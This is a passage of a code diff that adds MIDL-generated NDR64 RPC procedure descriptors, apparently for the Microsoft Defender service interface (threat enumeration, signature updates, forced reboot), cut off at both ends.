Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag835_t __midl_frag835 = +{ +/* Proc87_ServerMpRpcDynamicSignatureOpen */ + { + /* Proc87_ServerMpRpcDynamicSignatureOpen */ /* procedure Proc87_ServerMpRpcDynamicSignatureOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1288, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag828_t __midl_frag828 = +{ +/* Proc86_ServerMpRpcRemoveFastPathSignatureFile */ + { + /* Proc86_ServerMpRpcRemoveFastPathSignatureFile */ /* procedure Proc86_ServerMpRpcRemoveFastPathSignatureFile */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag822_t __midl_frag822 = +{ +/* Struct_2070_t */ + { + /* Struct_2070_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2070_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag817_t __midl_frag817 = +{ +/* Proc85_ServerMpRpcAddFastPathSignatureFile */ + { + /* Proc85_ServerMpRpcAddFastPathSignatureFile */ /* procedure Proc85_ServerMpRpcAddFastPathSignatureFile */ + (NDR64_UINT32) 17694784 /* 0x10e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag844, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag813_t __midl_frag813 = +{ +/* Proc84_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc84_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc84_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 2 /* 0x2 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag808_t __midl_frag808 = +{ +/* Proc83_ServerMpRpcForcedReboot */ + { + /* Proc83_ServerMpRpcForcedReboot */ /* procedure Proc83_ServerMpRpcForcedReboot */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag790_t __midl_frag790 = +{ +/* Proc80_ServerMpRpcThreatEnumerate */ + { + /* Proc80_ServerMpRpcThreatEnumerate */ /* procedure Proc80_ServerMpRpcThreatEnumerate */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1035, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag781_t __midl_frag781 = +{ +/* Proc79_ServerMpRpcThreatOpen */ + { + /* Proc79_ServerMpRpcThreatOpen */ /* procedure Proc79_ServerMpRpcThreatOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag1288, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag770_t __midl_frag770 = +{ +/* Proc77_ServerMpRpcNotifyIdle */ + { + /* Proc77_ServerMpRpcNotifyIdle */ /* procedure Proc77_ServerMpRpcNotifyIdle */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 44 /* 0x2c */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag756_t __midl_frag756 = +{ +/* Proc75_ServerMpRpcIdleNotificationOpen */ + { + /* Proc75_ServerMpRpcIdleNotificationOpen */ /* procedure Proc75_ServerMpRpcIdleNotificationOpen */ + (NDR64_UINT32) 786499 /* 0xc0043 */, /* auto handle */ /* IsIntrepreted, ClientMustSize, HasReturn */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1288, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag752_t __midl_frag752 = +{ +/* *Struct_1978_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag714 +}; + +static const __midl_frag751_t __midl_frag751 = +{ +/* Proc74_ServerMpRpcSigUpdControl */ + { + /* Proc74_ServerMpRpcSigUpdControl */ /* procedure Proc74_ServerMpRpcSigUpdControl */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag714, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag730_t __midl_frag730 = +{ +/* Proc71_ServerMpRpcSigUpdClientOpen */ + { + /* Proc71_ServerMpRpcSigUpdClientOpen */ /* procedure Proc71_ServerMpRpcSigUpdClientOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag36, + { + /* arg_2 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1288, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag718_t __midl_frag718 = +{ +/* Proc69_ServerMpRpcSigUpdServiceSendProgressNotification */ + { + /* Proc69_ServerMpRpcSigUpdServiceSendProgressNotification */ /* procedure Proc69_ServerMpRpcSigUpdServiceSendProgressNotification */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* 